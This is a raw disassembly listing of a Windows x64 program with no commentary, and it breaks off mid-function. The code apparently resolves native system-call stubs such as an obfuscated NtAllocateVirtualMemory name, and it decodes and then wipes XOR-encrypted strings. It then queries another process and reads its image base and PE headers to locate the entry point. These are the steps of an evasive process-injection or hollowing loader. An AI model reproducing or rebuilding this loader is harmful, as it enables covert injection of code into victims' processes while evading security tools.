lea rax, [rbp + 0x28a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x28c0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x28e0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2900]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2920]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x294f]
mov rcx, rax
call fcn.140073560
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x2950]
mov rcx, rax
call fcn.1400aaa00
mov r9, qword [rbp + 0x3408]
mov r8, qword [rbp + 0x3428]
mov rdx, qword [rbp + 0x3400]
lea rax, [rbp + 0x2950]
mov rcx, qword [rbp + 0x3450]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x34e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x33fc], eax
lea rax, [rbp + 0x2950]
mov rcx, rax
call fcn.1400ab5b0
cmp dword [rbp + 0x33fc], 0
je 0x140008398
lea rsi, [0x1402ba054]
jmp 0x14000839f
lea rsi, [0x1402ba059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.140030d30
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x2bbf]
mov rcx, rax
call fcn.140073530
lea rdx, [rbp + 0x2bbf]
lea rax, [rbp + 0x2b90]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae90
lea rax, [rbp + 0x2b70]
lea rdx, [rbp + 0x2b90]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2b50]
lea rdx, [rbp + 0x2b70]
lea r8, [0x1402ba04e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2b30]
lea rdx, [rbp + 0x2b50]
lea r8, [0x1402ba042]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2b10]
lea rdx, [rbp + 0x2b30]
lea r8, [0x1402ba09a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2af0]
lea rdx, [rbp + 0x2b10]
lea r8, [0x1402ba046]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2ad0]
lea rdx, [rbp + 0x2af0]
lea r8, [0x1402ba048]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2ab0]
lea rdx, [rbp + 0x2ad0]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2a90]
lea rdx, [rbp + 0x2ab0]
lea r8, [0x1402ba0a0]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2a70]
lea rdx, [rbp + 0x2a90]
lea r8, [0x1402ba08e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2a50]
lea rdx, [rbp + 0x2a70]
lea r8, [0x1402ba098]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2a30]
lea rdx, [rbp + 0x2a50]
lea r8, [0x1402ba088]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2a10]
lea rdx, [rbp + 0x2a30]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x29f0]
lea rdx, [rbp + 0x2a10]
lea r8, [0x1402ba040]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x29d0]
lea rdx, [rbp + 0x29f0]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x29b0]
lea rdx, [rbp + 0x29d0]
lea r8, [0x1402ba048]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2990]
lea rdx, [rbp + 0x29b0]
lea r8, [0x1402ba03e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2970]
lea rdx, [rbp + 0x2990]
lea r8, [0x1402ba08a]
mov rcx, rax
call fcn.1400bba10
lea rdx, [rbp + 0x2970]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2970]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2990]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x29b0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x29d0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x29f0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2a10]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2a30]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2a50]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2a70]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2a90]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2ab0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2ad0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2af0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2b10]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2b30]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2b50]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2b70]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2b90]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2bbf]
mov rcx, rax
call fcn.140073560
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x2bc0]
mov rcx, rax
call fcn.1400aaa00
mov r9, qword [rbp + 0x3408]
mov r8, qword [rbp + 0x3428]
mov rdx, qword [rbp + 0x3400]
lea rax, [rbp + 0x2bc0]
mov rcx, qword [rbp + 0x3448]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x34e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x33fc], eax
lea rax, [rbp + 0x2bc0]
mov rcx, rax
call fcn.1400ab5b0
cmp dword [rbp + 0x33fc], 0
je 0x14000878b
lea rsi, [0x1402ba054]
jmp 0x140008792
lea rsi, [0x1402ba059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.140030d30
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x2e4f]
mov rcx, rax
call fcn.140073530
lea rdx, [rbp + 0x2e4f]
lea rax, [rbp + 0x2e20]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae90
lea rax, [rbp + 0x2e00]
lea rdx, [rbp + 0x2e20]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2de0]
lea rdx, [rbp + 0x2e00]
lea r8, [0x1402ba086]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2dc0]
lea rdx, [rbp + 0x2de0]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2da0]
lea rdx, [rbp + 0x2dc0]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2d80]
lea rdx, [rbp + 0x2da0]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2d60]
lea rdx, [rbp + 0x2d80]
lea r8, [0x1402ba046]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2d40]
lea rdx, [rbp + 0x2d60]
lea r8, [0x1402ba048]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2d20]
lea rdx, [rbp + 0x2d40]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2d00]
lea rdx, [rbp + 0x2d20]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2ce0]
lea rdx, [rbp + 0x2d00]
lea r8, [0x1402ba04c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2cc0]
lea rdx, [rbp + 0x2ce0]
lea r8, [0x1402ba042]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2ca0]
lea rdx, [rbp + 0x2cc0]
lea r8, [0x1402ba03c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2c80]
lea rdx, [rbp + 0x2ca0]
lea r8, [0x1402ba04e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2c60]
lea rdx, [rbp + 0x2c80]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2c40]
lea rdx, [rbp + 0x2c60]
lea r8, [0x1402ba050]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2c20]
lea rdx, [rbp + 0x2c40]
lea r8, [0x1402ba03e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2c00]
lea rdx, [rbp + 0x2c20]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2be0]
lea rdx, [rbp + 0x2c00]
lea r8, [0x1402ba052]
mov rcx, rax
call fcn.1400bba10
lea rdx, [rbp + 0x2be0]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2be0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2c00]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2c20]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2c40]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2c60]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2c80]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2ca0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2cc0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2ce0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2d00]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2d20]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2d40]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2d60]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2d80]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2da0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2dc0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2de0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2e00]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2e20]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2e4f]
mov rcx, rax
call fcn.140073560
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x2e50]
mov rcx, rax
call fcn.1400aaa00
mov r9, qword [rbp + 0x3408]
mov r8, qword [rbp + 0x3428]
mov rdx, qword [rbp + 0x3400]
lea rax, [rbp + 0x2e50]
mov rcx, qword [rbp + 0x3440]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x34e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x33fc], eax
lea rax, [rbp + 0x2e50]
mov rcx, rax
call fcn.1400ab5b0
cmp dword [rbp + 0x33fc], 0
je 0x140008baa
lea rsi, [0x1402ba054]
jmp 0x140008bb1
lea rsi, [0x1402ba059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.140030d30
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
call fcn.140001b66
mov dword [rbp + 0x33f8], 0xffffffff
cmp dword [rbp + 0x33f8], 0
jne 0x140008bfc
lea rax, [0x1402ba0a2]
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x2e74]
lea rdx, [rbp + 0x2e81]
mov rcx, rax
call fcn.140001c0c
lea rax, [rbp + 0x2e74]
mov qword [rbp + 0x3398], rax
mov rax, qword [rbp + 0x3398]
mov qword [rbp + 0x3390], rax
mov rax, qword [rbp + 0x3390]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x140008cd6
mov rax, qword [rbp + 0x3398]
mov rdx, qword [rbp + 0x3398]
mov qword [rbp + 0x3388], rdx
mov qword [rbp + 0x3380], rax
mov dword [rbp + 0x337c], 0
jmp 0x140008ccc
mov eax, dword [rbp + 0x337c]
movsxd rdx, eax
mov rax, qword [rbp + 0x3380]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x337c]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x3388]
mov eax, dword [rbp + 0x337c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x337c], 1
cmp dword [rbp + 0x337c], 0xc
jle 0x140008c6e
nop
lea rax, [rbp + 0x2e74]
mov rcx, rax
call fcn.140001827
mov qword [rbp + 0x33f0], rax
cmp qword [rbp + 0x33f0], 0xffffffffffffffff
jne 0x140008d05
mov ebx, 0
mov esi, 0
jmp 0x140009e1f
lea rax, [rbp + 0x2e82]
lea rdx, [rbp + 0x2e8e]
mov rcx, rax
call fcn.140001c86
lea rax, [rbp + 0x2e82]
mov qword [rbp + 0x3370], rax
mov rax, qword [rbp + 0x3370]
mov qword [rbp + 0x3368], rax
mov rax, qword [rbp + 0x3368]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x140008ddf
mov rax, qword [rbp + 0x3370]
mov rdx, qword [rbp + 0x3370]
mov qword [rbp + 0x3360], rdx
mov qword [rbp + 0x3358], rax
mov dword [rbp + 0x3354], 0
jmp 0x140008dd5
mov eax, dword [rbp + 0x3354]
movsxd rdx, eax
mov rax, qword [rbp + 0x3358]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x3354]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x3360]
mov eax, dword [rbp + 0x3354]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x3354], 1
cmp dword [rbp + 0x3354], 0xb
jle 0x140008d77
nop
lea rdx, [rbp + 0x2e82]
lea rax, [rbp + 0x340]
mov rcx, qword [rbp + 0x33f0]
mov r8, rcx
mov rcx, rax
call fcn.1400019e7
mov rax, qword [rbp + 0x340]
cmp rax, 0xffffffffffffffff
je 0x140008e19
mov rax, qword [rbp + 0x348]
cmp rax, 0xffffffffffffffff
jne 0x140008e28
mov ebx, 0
mov esi, 0
jmp 0x140009e1f
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x33e8], rax
mov rax, qword [rbp + 0x348]
mov qword [rbp + 0x33e0], rax
mov r10, qword [0x1402e6068]
lea rcx, [rbp + 0x310]
mov rax, qword [rbp + 0x33e8]
lea rdx, [rbp + 0x30c]
mov qword [rsp + 0x20], rdx
mov r9d, 0x30
mov r8, rcx
mov edx, 0
mov rcx, rax
call r10
mov dword [rbp + 0x33f8], eax
cmp dword [rbp + 0x33f8], 0
je 0x140008f1b
lea rax, [rbp + 0x2e90]
lea rdx, [rbp + 0x2e8f]
mov rcx, rax
call fcn.140001cf8
mov rax, qword [rbp + 0x2e90]
mov rdx, qword [rbp + 0x2e98]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x2ea0]
mov rdx, qword [rbp + 0x2ea8]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
mov rax, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2eb8]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
mov rax, qword [rbp + 0x2ebf]
mov rdx, qword [rbp + 0x2ec7]
mov qword [rbp + 0x3f], rax
mov qword [rbp + 0x47], rdx
mov edx, dword [rbp + 0x33f8]
lea rax, [rbp + 0x10]
mov rcx, rax
call fcn.14001fd50
mov ebx, 0
mov esi, 0
jmp 0x140009e1f
lea rax, [rbp + 0x2ed0]
lea rdx, [rbp + 0x2ecf]
mov rcx, rax
call fcn.140001f02
mov rax, qword [rbp + 0x2ed0]
mov rdx, qword [rbp + 0x2ed8]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x2ee0]
mov rdx, qword [rbp + 0x2ee8]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
mov rax, qword [rbp + 0x2ef0]
mov rdx, qword [rbp + 0x2ef8]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
mov rax, qword [rbp + 0x2efd]
mov rdx, qword [rbp + 0x2f05]
mov qword [rbp + 0x3d], rax
mov qword [rbp + 0x45], rdx
lea rax, [rbp + 0x10]
mov rcx, rax
call fcn.14001fc70
mov rax, qword [rbp + 0x318]
mov qword [rbp + 0x33d8], rax
mov rax, qword [rbp + 0x33d8]
add rax, 0x10
mov qword [rbp + 0x33d0], rax
mov rax, qword [rbp + 0x33d0]
mov qword [rbp + 0x33c8], rax
lea rax, [rbp + 0x2f0]
lea rdx, [rbp + 0x2f0d]
mov rcx, rax
call fcn.1400020fc
mov r8, qword [rbp + 0x318]
lea rax, [rbp + 0x2f0]
mov qword [rbp + 0x3348], rax
mov rax, qword [rbp + 0x3348]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x140009096
lea rax, [rbp + 0x2f0]
lea rdx, [rbp + 0x2f0]
mov qword [rbp + 0x3340], rdx
mov qword [rbp + 0x3338], rax
mov dword [rbp + 0x3334], 0
jmp 0x14000908c
mov eax, dword [rbp + 0x3334]
movsxd rdx, eax
mov rax, qword [rbp + 0x3338]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x3334]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x3340]
mov eax, dword [rbp + 0x3334]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x3334], 1
cmp dword [rbp + 0x3334], 0x13
jle 0x14000902e
nop
lea rax, [rbp + 0x2f0]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x3330], 0
jmp 0x1400090d2
mov eax, dword [rbp + 0x3330]
cdqe
mov byte [rbp + rax + 0x2f0], 0
add dword [rbp + 0x3330], 1
cmp dword [rbp + 0x3330], 0x13
jle 0x1400090bb
nop
lea rax, [rbp + 0x2d0]
lea rdx, [rbp + 0x2f0e]
mov rcx, rax
call fcn.1400021ae
lea rax, [rbp + 0x2d0]
mov qword [rbp + 0x3328], rax
mov rax, qword [rbp + 0x3328]
movzx eax, byte [rax + 0x15]
test al, al
setne al
test al, al
je 0x1400091a8
lea rax, [rbp + 0x2d0]
lea rdx, [rbp + 0x2d0]
mov qword [rbp + 0x3320], rdx
mov qword [rbp + 0x3318], rax
mov dword [rbp + 0x3314], 0
jmp 0x14000919e
mov eax, dword [rbp + 0x3314]
movsxd rdx, eax
mov rax, qword [rbp + 0x3318]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x3314]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x3320]
mov eax, dword [rbp + 0x3314]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x3314], 1
cmp dword [rbp + 0x3314], 0x15
jle 0x140009140
nop
lea rax, [rbp + 0x2d0]
mov rdx, qword [rbp + 0x33c8]
mov r8, rdx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x3310], 0
jmp 0x1400091ee
mov eax, dword [rbp + 0x3310]
cdqe
mov byte [rbp + rax + 0x2d0], 0
add dword [rbp + 0x3310], 1
cmp dword [rbp + 0x3310], 0x15
jle 0x1400091d7
nop
mov r10, qword [0x1402e6070]
lea r8, [rbp + 0x2c8]
mov rdx, qword [rbp + 0x33c8]
mov rax, qword [rbp + 0x33e8]
lea rcx, [rbp + 0xb8]
mov qword [rsp + 0x20], rcx
mov r9d, 8
mov rcx, rax
call r10
mov dword [rbp + 0x33f8], eax
cmp dword [rbp + 0x33f8], 0
je 0x1400092d8
lea rax, [rbp + 0x2f10]
lea rdx, [rbp + 0x2f0f]
mov rcx, rax
call fcn.140002270
mov rax, qword [rbp + 0x2f10]
mov rdx, qword [rbp + 0x2f18]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2f20]
mov rdx, qword [rbp + 0x2f28]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2f30]
mov rdx, qword [rbp + 0x2f38]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2f40]
mov rdx, qword [rbp + 0x2f48]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movzx eax, byte [rbp + 0x2f50]
mov byte [rbp], al
mov edx, dword [rbp + 0x33f8]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001fe40
mov ebx, 0
mov esi, 0
jmp 0x140009e1f
lea rax, [rbp + 0x2f60]
lea rdx, [rbp + 0x2f5f]
mov rcx, rax
call fcn.14000248a
mov rax, qword [rbp + 0x2f60]
mov rdx, qword [rbp + 0x2f68]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2f70]
mov rdx, qword [rbp + 0x2f78]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2f80]
mov rdx, qword [rbp + 0x2f88]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2f8a]
mov rdx, qword [rbp + 0x2f92]
mov qword [rbp - 0x16], rax
mov qword [rbp - 0xe], rdx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001fb90
lea rax, [rbp + 0xa0]
lea rdx, [rbp + 0x2f9e]
mov rcx, rax
call fcn.14000266c
mov r8, qword [rbp + 0x2c8]
lea rax, [rbp + 0xa0]
mov qword [rbp + 0x3308], rax
mov rax, qword [rbp + 0x3308]
movzx eax, byte [rax + 0x12]
test al, al
setne al
test al, al
je 0x140009425
lea rax, [rbp + 0xa0]
lea rdx, [rbp + 0xa0]
mov qword [rbp + 0x3300], rdx
mov qword [rbp + 0x32f8], rax
mov dword [rbp + 0x32f4], 0
jmp 0x14000941b
mov eax, dword [rbp + 0x32f4]
movsxd rdx, eax
mov rax, qword [rbp + 0x32f8]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x32f4]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x3300]
mov eax, dword [rbp + 0x32f4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x32f4], 1
cmp dword [rbp + 0x32f4], 0x12
jle 0x1400093bd
nop
lea rax, [rbp + 0xa0]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x32f0], 0
jmp 0x140009461
mov eax, dword [rbp + 0x32f0]
cdqe
mov byte [rbp + rax + 0xa0], 0
add dword [rbp + 0x32f0], 1
cmp dword [rbp + 0x32f0], 0x12
jle 0x14000944a
nop
mov rax, qword [rbp + 0x2c8]
mov qword [rbp + 0x33c0], rax
mov r10, qword [0x1402e6070]
lea r8, [rbp + 0xc0]
mov rdx, qword [rbp + 0x33c0]
mov rax, qword [rbp + 0x33e8]
lea rcx, [rbp + 0xb8]
mov qword [rsp + 0x20], rcx
mov r9d, 0x201
mov rcx, rax
call r10
mov dword [rbp + 0x33f8], eax
cmp dword [rbp + 0x33f8], 0
je 0x140009675
lea rax, [rbp + 0x2fa0]
lea rdx, [rbp + 0x2f9f]
mov rcx, rax
call fcn.140002716
mov rax, qword [rbp + 0x2fa0]
mov rdx, qword [rbp + 0x2fa8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2fb0]
mov rdx, qword [rbp + 0x2fb8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2fc0]
mov rdx, qword [rbp + 0x2fc8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2fd0]
mov rdx, qword [rbp + 0x2fd8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2fe0]
mov rdx, qword [rbp + 0x2fe8]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov eax, dword [rbp + 0x2ff0]
mov dword [rbp + 0x10], eax
mov edx, dword [rbp + 0x33f8]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400204a0
lea rax, [rbp + 0x5f]
lea rdx, [rbp + 0x2ffe]
mov rcx, rax
call fcn.1400029c8
mov r8, qword [rbp + 0xb8]
lea rax, [rbp + 0x5f]
mov qword [rbp + 0x32e8], rax
mov rax, qword [rbp + 0x32e8]
movzx eax, byte [rax + 8]
test al, al
setne al
test al, al
je 0x140009626
lea rax, [rbp + 0x5f]
lea rdx, [rbp + 0x5f]
mov qword [rbp + 0x32e0], rdx
mov qword [rbp + 0x32d8], rax
mov dword [rbp + 0x32d4], 0
jmp 0x14000961c
mov eax, dword [rbp + 0x32d4]
movsxd rdx, eax
mov rax, qword [rbp + 0x32d8]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x32d4]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x32e0]
mov eax, dword [rbp + 0x32d4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x32d4], 1
cmp dword [rbp + 0x32d4], 8
jle 0x1400095be
nop
lea rax, [rbp + 0x5f]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x32d0], 0
jmp 0x14000965c
mov eax, dword [rbp + 0x32d0]
cdqe
mov byte [rbp + rax + 0x5f], 0
add dword [rbp + 0x32d0], 1
cmp dword [rbp + 0x32d0], 8
jle 0x140009648
nop
mov ebx, 0
mov esi, 0
jmp 0x140009e1f
lea rax, [rbp + 0x3000]
lea rdx, [rbp + 0x2fff]
mov rcx, rax
call fcn.140002a22
mov rax, qword [rbp + 0x3000]
mov rdx, qword [rbp + 0x3008]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x3010]
mov rdx, qword [rbp + 0x3018]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x3020]
mov rdx, qword [rbp + 0x3028]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x3030]
mov rdx, qword [rbp + 0x3038]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x303d]
mov rdx, qword [rbp + 0x3045]
mov qword [rbp - 3], rax
mov qword [rbp + 5], rdx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400203c0
mov eax, dword [rbp + 0xfc]
mov dword [rbp + 0x33bc], eax
mov eax, dword [rbp + 0x33bc]
add eax, 0x28
mov dword [rbp + 0x33b8], eax
mov eax, dword [rbp + 0x33b8]
lea rdx, [rbp + 0xc0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x33b4], eax
mov rax, qword [rbp + 0x33c0]
mov qword [rbp + 0x33a8], rax
mov edx, dword [rbp + 0x33b4]
mov rax, qword [rbp + 0x33a8]
add rax, rdx
mov qword [rbp + 0x33a0], rax
mov rax, qword [rbp + 0x33a0]
mov qword [rbp + 0x98], rax
lea rax, [rbp + 0x80]
lea rdx, [rbp + 0x304e]
mov rcx, rax
call fcn.140002c9c
mov r8, qword [rbp + 0x98]
lea rax, [rbp + 0x80]
mov qword [rbp + 0x32c8], rax
mov rax, qword [rbp + 0x32c8]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
